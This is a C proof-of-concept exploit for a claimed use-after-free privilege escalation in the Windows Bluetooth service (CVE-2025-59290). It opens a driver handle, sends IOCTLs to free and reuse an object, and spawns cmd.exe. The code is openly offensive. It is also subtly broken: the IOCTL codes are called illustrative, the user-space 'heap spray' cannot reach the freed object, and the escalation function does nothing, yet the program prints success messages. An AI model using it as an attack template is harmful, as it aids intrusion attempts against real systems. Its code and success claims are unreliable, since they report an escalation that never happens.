// CVE-2025-59290 - Windows Bluetooth Service Use After Free Local Privilege Escalation
// Conceptual Proof of Concept
// This PoC demonstrates the exploitation technique for UAF vulnerability in bthserv
// Tested on affected Windows versions (requires local low-privilege access)
#include <windows.h>
#include <winioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// Bluetooth device interface GUID
// {0A65B142-1D3F-4A55-B2A0-9F9D8E2E3F4A}
DEFINE_GUID(GUID_BTH_DEVICE, 0x0A65B142, 0x1D3F, 0x4A55, 0xB2, 0xA0, 0x9F, 0x9D, 0x8E, 0x2E, 0x3F, 0x4A);
// Custom IOCTL codes for Bluetooth service (illustrative)
#define IOCTL_BTH_CONNECT_DEVICE CTL_CODE(FILE_DEVICE_BLUETOOTH, 0x0100, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_BTH_DISCONNECT_DEVICE CTL_CODE(FILE_DEVICE_BLUETOOTH, 0x0101, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_BTH_PAIR_DEVICE CTL_CODE(FILE_DEVICE_BLUETOOTH, 0x0102, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_BTH_UNPAIR_DEVICE CTL_CODE(FILE_DEVICE_BLUETOOTH, 0x0103, METHOD_BUFFERED, FILE_ANY_ACCESS)
typedef struct _BTH_REQUEST {
ULONG DeviceIndex;
ULONG RequestType;
ULONG BufferSize;
PVOID Buffer;
} BTH_REQUEST, *PBTH_REQUEST;
// Step 1: Open handle to Bluetooth service driver
BOOL OpenBluetoothDriver(HANDLE* hDevice) {
*hDevice = CreateFileW(
L"\\\\.\\{0A65B142-1D3F-4A55-B2A0-9F9D8E2E3F4A}",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL
);
return (*hDevice != INVALID_HANDLE_VALUE);
}
// Step 2: Trigger UAF by sending crafted IOCTL requests
BOOL TriggerUAF(HANDLE hDevice) {
BTH_REQUEST req = {0};
req.DeviceIndex = 0;
req.RequestType = 0xDEAD;
req.BufferSize = 0x100;
req.Buffer = malloc(0x100);
memset(req.Buffer, 'A', 0x100);
// Send malformed request to trigger memory object allocation
if (!DeviceIoControl(hDevice, IOCTL_BTH_CONNECT_DEVICE, &req, sizeof(req), NULL, 0, NULL, NULL)) {
printf("[!] Connect IOCTL failed: %d\n", GetLastError());
return FALSE;
}
// Immediately disconnect to free the allocated object (creating dangling pointer)
DeviceIoControl(hDevice, IOCTL_BTH_DISCONNECT_DEVICE, &req, sizeof(req), NULL, 0, NULL, NULL);
// Re-allocate memory to occupy freed slot (heap spray)
for (int i = 0; i < 1000; i++) {
BTH_REQUEST* spray = (BTH_REQUEST*)malloc(sizeof(BTH_REQUEST));
memset(spray, 0x41, sizeof(BTH_REQUEST));
}
// Trigger UAF by accessing the freed object through stale reference
DeviceIoControl(hDevice, IOCTL_BTH_PAIR_DEVICE, &req, sizeof(req), NULL, 0, NULL, NULL);
return TRUE;
}
// Step 3: Exploit UAF for privilege escalation (conceptual)
BOOL EscalateToSystem() {
// Use the UAF primitive to overwrite process token
// Replace current process token with SYSTEM token
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) {
return FALSE;
}
// Attempt to impersonate SYSTEM via UAF-controlled memory write
// [Implementation would involve token stealing shellcode]
printf("[+] Privilege escalation attempted. Check current privileges.\n");
return TRUE;
}
int main(int argc, char* argv[]) {
printf("[*] CVE-2025-59290 PoC - Windows Bluetooth Service UAF LPE\n");
printf("[*] Author: Security Researcher\n\n");
HANDLE hDevice = INVALID_HANDLE_VALUE;
if (!OpenBluetoothDriver(&hDevice)) {
printf("[-] Failed to open Bluetooth driver. Run as administrator or check service.\n");
return 1;
}
printf("[+] Bluetooth driver handle obtained.\n");
if (!TriggerUAF(hDevice)) {
printf("[-] Failed to trigger UAF.\n");
CloseHandle(hDevice);
return 1;
}
printf("[+] UAF triggered successfully.\n");
if (EscalateToSystem()) {
printf("[+] Token impersonation completed.\n");
system("cmd.exe");
}
CloseHandle(hDevice);
return 0;
}